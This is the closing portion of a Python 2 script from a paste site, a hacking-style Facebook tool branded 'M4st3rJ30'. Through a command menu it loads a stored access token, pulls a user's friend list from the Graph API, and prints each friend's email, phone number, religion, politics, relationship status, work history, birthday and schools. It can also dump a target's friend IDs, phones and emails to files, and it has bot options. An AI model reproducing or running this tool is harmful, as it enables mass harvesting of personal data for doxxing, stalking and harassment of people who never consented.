  2139. out.write(i['id'] + '\n')
  2140. print '\r[*] %s retrieved'%(i['id']),;sys.stdout.flush();time.sleep(0.0001)
  2141. out.close()
  2142.  
  2143. print '\r[*] All friends id successfuly retreived'
  2144. print '[*] File saved : output/' + n[0].split(' ')[0] + '_' + target_id + '_id.txt'
  2145. main()
  2146. except KeyboardInterrupt:
  2147. print '\r[!] Stopped'
  2148. main()
  2149. except KeyError:
  2150. print '[!] Failed to fetch friend id'
  2151. try:
  2152. os.remove('output/' + n[0].split(' ')[0] + '_' + target_id + '_id.txt')
  2153. except OSError:
  2154. pass
  2155. main()
  2156. except (requests.exceptions.ConnectionError , requests.exceptions.ChunkedEncodingError):
  2157. print '[!] Connection Error '
  2158. print '[!] Stopped'
  2159. #
  2160. ###############################################################################
  2161.  
  2162. ###############################################################################
  2163. # Main
  2164.  
  2165. def main():
  2166. global target_id
  2167.  
  2168. try:
  2169. cek = raw_input(R + 'M4st3rJ30' + W +' >> ')
  2170.  
  2171. if cek.lower() == 'get_data':
  2172. if len(jml) == 0:
  2173. getdata()
  2174. else:
  2175. print '[*] You have retrieved %s friends data'%(len(jml))
  2176. main()
  2177. elif cek.lower() == 'get_info':
  2178. print '\n'+'[*] Information Gathering [*]'.center(44) + '\n'
  2179. search()
  2180. elif cek.lower() == 'bot':
  2181. menu_bot()
  2182. bot()
  2183. elif cek.lower() == "cat_token":
  2184. try:
  2185. o = open('cookie/token.log','r').read()
  2186. print '[*] Your access token !!\n\n' + o + '\n'
  2187. main()
  2188. except IOError:
  2189. print '[!] Failed to open cookie/token.log'
  2190. print "[!] Type 'token' to generate access token"
  2191. main()
  2192.  
  2193. elif cek.lower() == 'clear':
  2194. if sys.platform == 'win32':
  2195. os.system('cls')
  2196. baliho()
  2197. main()
  2198. else:
  2199. os.system('clear')
  2200. baliho()
  2201. main()
  2202.  
  2203. elif cek.lower() == 'token':
  2204. try:
  2205. open('cookie/token.log')
  2206. print '[!] An access token already exists'
  2207. cek = raw_input('[?] Are you sure you want to continue [Y/N] ')
  2208. if cek.lower() != 'y':
  2209. print '[*] Canceling '
  2210. bot()
  2211. except IOError:
  2212. pass
  2213.  
  2214. print '\n' + '[*] Generate access token facebook [*]'.center(44) + '\n'
  2215. print '[WARNING] Please turn off your VPN before using this feature!!!'
  2216. id()
  2217. elif cek.lower() == 'rm_token':
  2218. print '''
  2219. [WARNING] You must create access token again if
  2220. your access token is deleted
  2221. '''
  2222. a = raw_input("[!] Type 'delete' to continue : ")
  2223. if a.lower() == 'delete':
  2224. try:
  2225. os.system('rm -rf cookie/token.log')
  2226. print '[*] Success delete cookie/token.log'
  2227. main()
  2228. except OSError:
  2229. print '[*] Failed to delete cookie/token.log'
  2230. main()
  2231. else:
  2232. print '[*] Failed to delete cookie/token.log'
  2233. main()
  2234. elif cek.lower() == 'about':
  2235. show_program()
  2236. main()
  2237. elif cek.lower() == 'exit':
  2238. print "[!] Exiting Program"
  2239. sys.exit()
  2240. elif cek.lower() == 'help':
  2241. info_ga()
  2242. main()
  2243. elif cek.lower() == 'dump_id':
  2244. dump_id()
  2245. elif cek.lower() == 'dump_phone':
  2246. dump_phone()
  2247. elif cek.lower() == 'dump_mail':
  2248. dump_mail()
  2249.  
  2250. if 'dump_' in cek.lower() and cek.lower().split('_')[2] == 'id':
  2251. target_id = cek.lower().split('_')[1]
  2252. dump_id_id()
  2253. else:
  2254. if cek == '':
  2255. main()
  2256. else:
  2257. print "[!] Command '"+cek+"' not found"
  2258. print '[!] Type "help" to show command'
  2259. main()
  2260. except KeyboardInterrupt:
  2261. main()
  2262. except IndexError:
  2263. print '[!] Invalid parameter on command : ' + cek
  2264. main()
  2265. #
  2266. ######################################################################################################################
  2267.  
  2268. ################################################################################
  2269. # Get Data
  2270.  
  2271. def getdata():
  2272. global a , token
  2273.  
  2274. print '[*] Load access token'
  2275.  
  2276. try:
  2277. token = open("cookie/token.log","r").read()
  2278. print '[*] Success load access token '
  2279. except IOError:
  2280. print '[!] Failed to open cookie/token.log'
  2281. print "[!] Type 'token' to generate access token"
  2282. main()
  2283.  
  2284. print '[*] Fetching all friends data'
  2285.  
  2286. try:
  2287. r = requests.get('https://graph.facebook.com/me/friends?access_token='+token)
  2288. a = json.loads(r.text)
  2289.  
  2290. except KeyError:
  2291. print '[!] Your access token is expired'
  2292. print "[!] Type 'token' to generate access token"
  2293. main()
  2294.  
  2295. except requests.exceptions.ConnectionError:
  2296. print '[!] Connection Error'
  2297. print '[!] Stopped'
  2298. main()
  2299.  
  2300. for i in a['data']:
  2301. jml.append(i['id'])
  2302. print '\r[*] Fetching %s data from friends'%(len(jml)),;sys.stdout.flush();time.sleep(0.0001)
  2303.  
  2304. print '\r[*] '+str(len(jml))+' data of friends successfully retrieved'
  2305. main()
  2306.  
  2307. def search():
  2308.  
  2309. if len(jml) == 0:
  2310. print "[!] No friend data in the database"
  2311. print '[!] Type "get_data" to collect friends data'
  2312. main()
  2313. else:
  2314. pass
  2315.  
  2316. target = raw_input("[!] Friend Name or ID : ")
  2317.  
  2318. if target == '':
  2319. print "[!] Friend Name or ID can't be empty !!"
  2320. search()
  2321. else:
  2322. info(target)
  2323.  
  2324. def info(target):
  2325. global a , token
  2326.  
  2327. print '[*] Searching...'
  2328. for i in a['data']:
  2329.  
  2330. if target in i['name'] or target in i['id']:
  2331.  
  2332. x = requests.get("https://graph.facebook.com/"+i['id']+"?access_token="+token)
  2333. y = json.loads(x.text)
  2334.  
  2335. print ' '
  2336. print G + '[-------- INFORMATION --------]'.center(44)
  2337. print W
  2338.  
  2339. try:
  2340. print '\n[*] ID : '+i['id']
  2341. except KeyError:
  2342. pass
  2343. try:
  2344. print '[*] Username : '+y['username']
  2345. except KeyError:
  2346. pass
  2347. try:
  2348. print '[*] Email : '+y['email']
  2349. except KeyError:
  2350. pass
  2351. try:
  2352. print '[*] Cellphone No: '+y['mobile_phone']
  2353. except KeyError:
  2354. pass
  2355. try:
  2356. print '[*] Name : '+y['name']
  2357. except KeyError:
  2358. pass
  2359. try:
  2360. print '[*] First Name : '+y['first_name']
  2361. except KeyError:
  2362. pass
  2363. try:
  2364. print '[*] Midle Name : '+y['middle_name']
  2365. except KeyError:
  2366. pass
  2367. try:
  2368. print '[*] Last Name : '+y['last_name']
  2369. except KeyError:
  2370. pass
  2371. try:
  2372. print '[*] Locale : '+y['locale'].split('_')[0]
  2373. except KeyError:
  2374. pass
  2375. try:
  2376. print '[*] Location : '+y['location']['name']
  2377. except KeyError:
  2378. pass
  2379. try:
  2380. print '[*] Hometown : '+y['hometown']['name']
  2381. except KeyError:
  2382. pass
  2383. try:
  2384. print '[*] Gender : '+y['gender']
  2385. except KeyError:
  2386. pass
  2387. try:
  2388. print '[*] Religion : '+y['religion']
  2389. except KeyError:
  2390. pass
  2391. try:
  2392. print '[*] Relationship status : '+y['relationship_status']
  2393. except KeyError:
  2394. pass
  2395. try:
  2396. print '[*] Political : '+y['political']
  2397. except KeyError:
  2398. pass
  2399. try:
  2400. print '[*] Work :'
  2401.  
  2402. for i in y['work']:
  2403. try:
  2404. print ' [-] Position : '+i['position']['name']
  2405. except KeyError:
  2406. pass
  2407. try:
  2408. print ' [-] Employer : '+i['employer']['name']
  2409. except KeyError:
  2410. pass
  2411. try:
  2412. if i['start_date'] == "0000-00":
  2413. print ' [-] Start date : ---'
  2414. else:
  2415. print ' [-] Start date : '+i['start_date']
  2416. except KeyError:
  2417. pass
  2418. try:
  2419. if i['end_date'] == "0000-00":
  2420. print ' [-] End date : ---'
  2421. else:
  2422. print ' [-] End date : '+i['end_date']
  2423. except KeyError:
  2424. pass
  2425. try:
  2426. print ' [-] Location : '+i['location']['name']
  2427. except KeyError:
  2428. pass
  2429. print ' '
  2430. except KeyError:
  2431. pass
  2432. try:
  2433. print '[*] Updated time : '+y['updated_time'][:10]+' '+y['updated_time'][11:19]
  2434. except KeyError:
  2435. pass
  2436. try:
  2437. print '[*] Languages : '
  2438. for i in y['languages']:
  2439. try:
  2440. print ' ~ '+i['name']
  2441. except KeyError:
  2442. pass
  2443. except KeyError:
  2444. pass
  2445. try:
  2446. print '[*] Bio : '+y['bio']
  2447. except KeyError:
  2448. pass
  2449. try:
  2450. print '[*] Quotes : '+y['quotes']
  2451. except KeyError:
  2452. pass
  2453. try:
  2454. print '[*] Birthday : '+y['birthday'].replace('/','-')
  2455. except KeyError:
  2456. pass
  2457. try:
  2458. print '[*] Link : '+y['link']
  2459. except KeyError:
  2460. pass
  2461. try:
  2462. print '[*] Favourite teams : '
  2463. for i in y['favorite_teams']:
  2464. try:
  2465. print ' ~ '+i['name']
  2466. except KeyError:
  2467. pass
  2468. except KeyError:
  2469. pass
  2470. try:
  2471. print '[*] School : '
  2472. for i in y['education']:
  2473. try:
  2474. print ' ~ '+i['school']['name']
  2475. except KeyError:
  2476. pass
  2477. except KeyError:
  2478. pass
  2479. else:
  2480. pass
  2481.  
  2482. else:
  2483. print W + ' '
  2484. print '[*] Done '
  2485. main()
  2486.  
  2487. #
  2488. ##########################################################################
  2489.  
  2490. ##########################################################################
  2491. #
  2492.  
  2493. if __name__ == '__main__':
  2494.  
  2495. baliho()
  2496. main()
  2497.  
  2498. #
  2499. ##########################################################################
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement